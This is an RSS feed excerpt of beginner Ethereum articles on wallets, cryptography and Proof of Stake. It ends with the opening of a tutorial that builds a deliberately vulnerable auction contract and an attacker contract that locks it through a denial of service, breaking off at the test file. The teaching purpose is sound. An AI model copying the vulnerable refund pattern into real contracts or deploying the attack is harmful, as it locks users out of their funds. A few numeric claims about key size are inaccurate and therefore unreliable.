&lt;li&gt;&lt;p&gt;Can be shared. They help the world recognize your account.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Used to verify digital signatures.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt; Ethereum Addresses:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Shortened versions of the public key (via hashing).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Every wallet has one (e.g., 0xabc123...).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Acts like a username for the blockchain.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Together, these elements enable secure, verifiable ownership of funds without any central authority.&lt;/p&gt;
&lt;h4 id=&quot;the-discrete-logarithm-problem-amp-elliptic-curve-math&quot;&gt;The Discrete Logarithm Problem &amp;amp; Elliptic Curve Math&lt;/h4&gt;
&lt;p&gt;Ethereum uses a form of math called Elliptic Curve Cryptography (ECC) over a curve known as secp256k1.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Private Key k is a number.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Multiply it with a point G on the curve: k * G = K, the Public Key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You can go from private to public, but NOT the reverse. Why?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because that would involve solving the Discrete Logarithm Problem.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&quot;It’s like trying to unblend a smoothie. Good luck getting that one blueberry back.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This one-way math gives us digital signatures and the ability to prove ownership without revealing secrets.&lt;/p&gt;
&lt;h4 id=&quot;-the-magic-of-digital-signatures&quot;&gt;✨ The Magic of Digital Signatures&lt;/h4&gt;
&lt;p&gt;Every Ethereum transaction is a message signed with your private key.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The network can verify:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Who sent it (via public key).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;That the message wasn’t altered (hash matching).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That it came from a valid source.&lt;/p&gt;
&lt;p&gt;But it can do all this without knowing the private key itself. Pure cryptographic sorcery.&lt;/p&gt;
&lt;h3 id=&quot;why-this-all-matters&quot;&gt;Why This All Matters&lt;/h3&gt;
&lt;p&gt;This system allows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Peer-to-peer payments.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Smart contract execution.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fully decentralized apps (dApps).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A global trustless economy.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All without:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Banks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Passwords.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Centralized control.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You now understand how your Ethereum wallet works, how transactions are signed, and why no one can just &quot;guess&quot; your key.&lt;/p&gt;
&lt;p&gt;And that, my friend, is the magic behind the Ethereum World Computer.&lt;/p&gt;
&lt;h3 id=&quot;what-s-next-&quot;&gt;What’s Next?&lt;/h3&gt;
&lt;p&gt;You’ve just finished the foundation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Ethereum basics&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Wallets and contracts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cryptography, private keys, and addresses&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Up next? We dive deeper:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Solidity smart contracts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Gas optimization&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Attacks &amp;amp; defenses&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The move to Proof of Stake&lt;/p&gt;
&lt;p&gt;So stay curious. Keep coding. And never share your private key.&lt;/p&gt;
&lt;p&gt;See you on-chain.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/3932/unlocking-ethereum-from-magic-money-to-math-powered-machines</guid>
<pubDate>Sat, 12 Jul 2025 19:49:54 +0000</pubDate>
</item>
<item>
<title> Cryptography in Ethereum</title>
<link>https://coderlegion.com/3931/cryptography-in-ethereum</link>
<description>&lt;p&gt;Cryptography is one of the most important technologies behind Ethereum and other blockchains. Even though it sounds complicated, at its heart, it’s all about keeping things secure, proving ownership, and ensuring data can’t be faked or tampered with.&lt;/p&gt;
&lt;p&gt;Let’s break down what cryptography means in the Ethereum world — in the simplest terms possible.&lt;/p&gt;
&lt;h3 id=&quot;what-is-cryptography-&quot;&gt;What Is Cryptography?&lt;/h3&gt;
&lt;p&gt;Cryptography comes from a Greek word meaning “secret writing”. It’s the study of how to secure information using math. But it’s not just about hiding things — it also helps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prove something is true without showing it (like proving you know a password without telling it).&lt;/li&gt;
&lt;li&gt;Prove data is authentic (like checking a digital fingerprint).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ethereum does not use encryption to hide messages — everything is open and visible so the network can agree on the correct state. But it does use cryptography to verify and secure who owns what.&lt;/p&gt;
&lt;h4 id=&quot;keys-and-addresses&quot;&gt;Keys and Addresses&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;♂️ Accounts in Ethereum&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are two main types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;EOAs (Externally Owned Accounts) — controlled by private keys (what users use).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Smart Contracts — code-based accounts that live on Ethereum.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Every EOA has:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A private key — a secret number that proves control.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;An Ethereum address — a public identity others can see.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Think of it like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Your address is your bank account number (public).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your private key is your ATM PIN (secret).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can’t get someone’s private key by looking at their address. But if you have the private key, you control the account and the funds in it.&lt;/p&gt;
&lt;h4 id=&quot;-digital-signatures-proving-ownership&quot;&gt;️ Digital Signatures: Proving Ownership&lt;/h4&gt;
&lt;p&gt;Every transaction on Ethereum must be signed using the private key. This creates a digital signature, which proves:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The transaction is authentic.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It could only have come from the person who owns the private key.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This signature is then verified by others using your public key (or Ethereum address). The private key is never shared — it stays hidden.&lt;br&gt;
So, when you send ETH:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You sign the transaction with your private key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The network checks the signature against your address.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If it matches —  the transaction is valid!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;how-do-private-and-public-keys-work-&quot;&gt;How Do Private and Public Keys Work?&lt;/h4&gt;
&lt;p&gt;Ethereum uses a form of cryptography called Public Key Cryptography, also known as Asymmetric Cryptography.&lt;/p&gt;
&lt;p&gt;This system uses two keys:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A private key (kept secret).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A public key (shared openly).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The cool part is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You can generate the public key from the private key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;But you can’t go backwards — it’s mathematically impossible to figure out the private key from the public key.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This one-way math is what makes Ethereum secure.&lt;/p&gt;
&lt;h3 id=&quot;what-is-a-private-key-&quot;&gt;What Is a Private Key?&lt;/h3&gt;
&lt;p&gt;A private key is just a very large random number — but a very important one!&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;f8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It controls your funds. If someone else gets it, they can steal your ETH. If you lose it, your ETH is gone forever — no password resets in crypto!&lt;/p&gt;
&lt;p&gt;That’s why wallet apps and hardware wallets help store and protect private keys safely.&lt;/p&gt;
&lt;h3 id=&quot;how-are-private-keys-generated-&quot;&gt;How Are Private Keys Generated?&lt;/h3&gt;
&lt;p&gt;Generating a private key means picking a truly random number between &lt;strong&gt;1&lt;/strong&gt; and a huge number called &lt;strong&gt;2^256&lt;/strong&gt;. That’s a number with 77 digits — more than the number of atoms in the universe!&lt;/p&gt;
&lt;p&gt;Wallets usually use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Your mouse movements, or&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your keystrokes, or&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Other random inputs to generate a secure number.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It’s important that the random number is not predictable, or someone might guess it. Ethereum wallets use strong built-in random number generators to do this safely.&lt;/p&gt;
&lt;h3 id=&quot;what-is-a-public-key-&quot;&gt;What Is a Public Key?&lt;/h3&gt;
&lt;p&gt;A &lt;strong&gt;public key&lt;/strong&gt; is generated from the private key using elliptic curve multiplication. This is a kind of special math done on a curve called secp256k1.&lt;/p&gt;
&lt;p&gt;Let’s simplify:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You start with your private key (a number).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You multiply it with a special constant point (called G).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The result is your public key — two coordinates (x, y) on a curve.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here’s the math (don’t worry if it looks scary):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-vbnet&quot;&gt;Public Key = Private Key × Generator Point (G)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a one-way function — easy to do, impossible to reverse.&lt;/p&gt;
&lt;h3 id=&quot;ethereum-addresses&quot;&gt;Ethereum Addresses&lt;/h3&gt;
&lt;p&gt;An Ethereum address is a shortened version of the public key. It's 40 characters long (20 bytes), usually written in hexadecimal.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;0x742d35Cc6634C0532925a3b844Bc454e4438f44e

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is what you share to receive ETH or tokens. It’s like your bank account number, but public.&lt;/p&gt;
&lt;h4 id=&quot;-digital-signatures-in-detail&quot;&gt;✍️ Digital Signatures in Detail&lt;/h4&gt;
&lt;p&gt;Let’s say Alice wants to send ETH:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;She creates a transaction with details like amount, recipient, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;She uses her private key to sign the transaction.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The signature is sent with the transaction to the Ethereum network.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Anyone can verify the signature using Alice’s address.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This proves:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The transaction came from Alice.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The transaction wasn’t tampered with.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Alice authorized the action.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No passwords, no usernames, just math.&lt;/p&gt;
&lt;h4 id=&quot;is-ethereum-encrypted-&quot;&gt;Is Ethereum Encrypted?&lt;/h4&gt;
&lt;p&gt;No. Ethereum is not encrypted. Everything — including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Transactions,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Contract code,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Balances,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Messages,&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;...is visible to everyone. This is necessary for transparency and trust — it allows everyone to verify what’s happening.&lt;/p&gt;
&lt;p&gt;In the future, Ethereum may use advanced cryptography like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Zero-Knowledge Proofs – to prove something without showing it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Homomorphic Encryption – to do computations on encrypted data.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But right now, Ethereum’s focus is on verification, not secrecy.&lt;/p&gt;
&lt;h3 id=&quot;keep-your-private-key-safe-&quot;&gt;Keep Your Private Key Safe!&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Never share it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Never screenshot it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Always back it up safely (use hardware wallets or seed phrases).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If you lose it, you lose access forever.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;final-thoughts-1&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;Cryptography might seem hard, but it powers everything in Ethereum — from &lt;strong&gt;accounts&lt;/strong&gt;, to &lt;strong&gt;transactions&lt;/strong&gt;, to &lt;strong&gt;smart contracts&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The most important things to remember:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Your private key = control over your ETH.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your signature = proof that you own it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your address = your identity on Ethereum.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With public key cryptography and smart math, Ethereum allows you to be your own bank — secure, open, and unstoppable.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/3931/cryptography-in-ethereum</guid>
<pubDate>Sat, 12 Jul 2025 19:49:26 +0000</pubDate>
</item>
<item>
<title>⚖️ Proof of Stake Explained: Ethereum’s Guardians of the Blockchain</title>
<link>https://coderlegion.com/3890/proof-of-stake-explained-ethereums-guardians-of-the-blockchain</link>
<description>&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&quot;With great power comes great responsibility... and staking penalties.&quot; – Uncle Eth (probably)&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Welcome back Web3 explorers! Today, we dive into the magical realm of &lt;strong&gt;Proof of Stake (PoS)&lt;/strong&gt; — the mechanism that keeps Ethereum running smoothly, securely, and sustainably.&lt;/p&gt;
&lt;p&gt;Whether you're new to blockchain or just heard someone yell &lt;strong&gt;“slashing!”&lt;/strong&gt; on crypto Twitter, this article breaks down the what, why, and whoopsies of PoS — Ethereum's heart after the Merge.&lt;/p&gt;
&lt;h4 id=&quot;what-is-proof-of-stake-pos-&quot;&gt;What Is Proof of Stake (PoS)?&lt;/h4&gt;
&lt;p&gt;Think of PoS like a blockchain boarding school — validators (Ethereum's new class prefects) are selected to propose blocks, check homework (aka validate blocks), and keep the system honest.&lt;/p&gt;
&lt;p&gt;But unlike Proof of Work (PoW), where miners solve complex puzzles, PoS chooses validators based on how much ETH they lock (stake). The more you stake, the higher your chances of being chosen to propose or attest to the next block.&lt;/p&gt;
&lt;p&gt;No pickaxes. Just ETH and good behavior.&lt;/p&gt;
&lt;h4 id=&quot;staking-eth-the-golden-entry-ticket&quot;&gt;Staking ETH: The Golden Entry Ticket&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;To become a validator, you stake 32 ETH.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your ETH acts like a security deposit at an Airbnb — behave, and you’re good.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Mess around? You could lose part (or all ) of your stake.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt; Fun fact: You can use MetaMask + staking services to stake without running your own node!&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;rewards-the-carrot-on-the-stick&quot;&gt;Rewards: The Carrot on the Stick&lt;/h4&gt;
&lt;p&gt;Validators earn rewards by doing three things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Proposing blocks&lt;/strong&gt; – Like writing the first draft of history.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Attesting to blocks&lt;/strong&gt; – Confirming someone else’s draft is good.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sync committee participation&lt;/strong&gt; – A random validator group that helps light clients stay in sync.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; Good behavior = sweet, sweet ETH rewards.&lt;br&gt;
 Rewards depend on how active the network is and how many validators are online.&lt;/p&gt;
&lt;h4 id=&quot;penalties-when-validators-go-rogue&quot;&gt;Penalties: When Validators Go Rogue&lt;/h4&gt;
&lt;p&gt;It’s not all sunshine and staking. There are penalties too!&lt;/p&gt;
&lt;h5 id=&quot;inactivity-penalty&quot;&gt;Inactivity Penalty&lt;/h5&gt;
&lt;p&gt;Validators who stay offline too long start losing ETH. This prevents the network from stalling due to absentee validators.&lt;/p&gt;
&lt;h5 id=&quot;slashing&quot;&gt;Slashing&lt;/h5&gt;
&lt;p&gt;The big no-no. If a validator tries to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Propose two blocks at the same time (double proposing)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Vote for two conflicting blocks (double voting)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Surround votes maliciously&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;...they get slashed — a portion of their staked ETH is destroyed, and they’re kicked out of the validator set.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Slashing is like being expelled and fined at the same time.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;common-attacks-by-validators-and-how-ethereum-fights-back-&quot;&gt;Common Attacks by Validators (and How Ethereum Fights Back)&lt;/h3&gt;
&lt;p&gt; &lt;strong&gt;1. Long-Range Attacks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; A validator tries to rewrite old blockchain history by proposing an alternative version of events from way back.&lt;/p&gt;
&lt;p&gt;Ethereum’s defense:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Clients ignore chains that don’t include recent checkpoint finality.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Checkpoints are final every ~12 minutes (2 epochs).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;️ TL;DR: Once history is “finalized,” it’s set in stone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Nothing-at-Stake Problem&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; In PoW, miners have to choose one chain because mining costs resources. In PoS, lazy validators could vote on all chains, trying to game rewards.&lt;/p&gt;
&lt;p&gt;Ethereum’s defense:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Slashing validators for voting on multiple forks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Attestations are tracked to punish “double dipping.”&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. Censorship (Proposer Censorship)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What it is:&lt;/strong&gt; Validators might refuse to include certain transactions (e.g. from specific users or smart contracts).&lt;/p&gt;
&lt;p&gt;Ethereum’s defense:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Proposer rotation – Validators are randomly chosen, so no one can control the chain forever.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;MEV-Boost relays – Improve decentralization of block building.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;4. Finality Delay Attacks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What it is: A group of validators tries to delay finalizing blocks by staying offline or acting slowly.&lt;/p&gt;
&lt;p&gt;Ethereum’s defense:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Inactivity leaks gradually drain ETH from offline validators.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Eventually, the honest majority finalizes blocks.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;what-you-should-take-away&quot;&gt;What You Should Take Away&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;PoS is Ethereum's way of saying:&lt;/strong&gt; &quot;Behave and you’ll be rewarded. Cheat and you’ll be slashed.&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Validators are ETH-holding users who run nodes and maintain the chain’s health.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ethereum uses math, game theory, and crypto magic to reward good validators and punish bad ones.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;The system is built to survive attackers, downtime, and even validators turning evil. (Sorry, Anakin.)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;bonus-starting-your-validator-journey&quot;&gt;Bonus: Starting Your Validator Journey&lt;/h3&gt;
&lt;p&gt;Wanna be a validator? Here's a super simplified roadmap:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Stake 32 ETH.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Set up a validator client (like Lighthouse, Prysm, or Teku).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Connect it to your beacon node.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Start validating and watch your ETH grow! (Slowly... it’s not a get-rich-quick scheme.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;⚠️ Not ready for the full 32 ETH? Try staking pools like Lido, RocketPool, or Coinbase staking.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;final-thoughts-2&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Proof of Stake is Ethereum’s superhero upgrade:&lt;/strong&gt; greener, faster, and more secure. But with great power comes strict rules and harsh slashing.&lt;/p&gt;
&lt;p&gt;Validators keep Ethereum running — as long as they don’t sleep on the job or try funny business.&lt;/p&gt;
&lt;p&gt;So stake wisely, stay online, and remember: in Ethereum we trust, but verify.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/3890/proof-of-stake-explained-ethereums-guardians-of-the-blockchain</guid>
<pubDate>Thu, 10 Jul 2025 16:51:12 +0000</pubDate>
</item>
<item>
<title>Executing Denial of Service on smart contracts</title>
<link>https://coderlegion.com/3145/executing-denial-of-service-on-smart-contracts</link>
<description>&lt;p&gt;&lt;strong&gt;️ Deny users from accessing a smart contract&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/16539849/174761638-cf7c28d6-f654-4f5b-8fab-569ddc968941.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;A Denial of Service (DOS) attack is a type of attack that is designed to disable, shut down, or disrupt a network, website, or service. Essentially it means that the attacker somehow can prevent regular users from accessing the network, website, or service therefore denying them service. This is a very common attack which we all know about in web2 as well but today we will try to imitate a Denial of Service attack on a smart contract&lt;/p&gt;
&lt;p&gt;&lt;strong&gt; Overview&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There will be two smart contracts - Good.sol and Attack.sol. Good.sol will be used to run a sample auction where it will have a function in which the current user can become the current winner of the auction by sending Good.sol higher amount of ETH than was sent by the previous winner. After the winner is replaced, the old winner is sent back the money which he initially sent to the contract.&lt;/p&gt;
&lt;p&gt;Attack.sol will attack in such a manner that after becoming the current winner of the auction, it will not allow anyone else to replace it even if the address trying to win is willing to put in more ETH. Thus Attack.sol will bring Good.sol under a DOS attack because after it becomes the winner, it will deny the ability for any other address to becomes the winner.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;⚒️ Build&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Setting up Foundry&lt;/p&gt;
&lt;p&gt;To start the project, open up your terminal and create a new project directory.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir denial-of-service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let's start by setting up Hardhat inside the denial-of-service directory.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd denial-of-service
forge init .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Write the Smart Contracts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's create the auction contract, named Good.sol, with the following code.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value &amp;gt; currentAuctionPrice, &quot;Need to pay more than the currentAuctionPrice&quot;);
        (bool sent, ) = currentWinner.call{value: currentAuctionPrice}(&quot;&quot;);
        if (sent) {
            currentAuctionPrice = msg.value;
            currentWinner = msg.sender;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a pretty basic contract which stores the address of the last highest bidder, and the value that they bid. Anyone can call setCurrentAuctionPrice and send more ETH than currentAuctionPrice, which will first attempt to send the last bidder their ETH back, and then set the transaction caller as the new highest bidder with their ETH value.&lt;/p&gt;
&lt;p&gt;Now, create a contract named Attack.sol within the contracts directory and write the following lines of code&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import &quot;./Good.sol&quot;;

contract Attack {
    Good good;

    constructor(address _good) {
        good = Good(_good);
    }

    function attack() public payable {
        good.setCurrentAuctionPrice{value: msg.value}();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This contract has a function called attack(), that just calls setCurrentAuctionPrice on the Good contract. Note, however, this contract does not have a fallback() function where it can receive ETH. More on this later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Writing the Test&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let's create an attack that will cause the Good contract to become unusable. Create a new file under test folder named Attack.t.sol and add the following lines of code to it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Test} from &quot;forge-std/Test.sol&quot;;
import {Attack} from &quot;../src/Attack.sol&quot;;
import {Good} from &quot;../src/Good.sol&quot;;
import {console} from &quot;forge-std/console.sol&quot;;

contract AttackTester is Test {
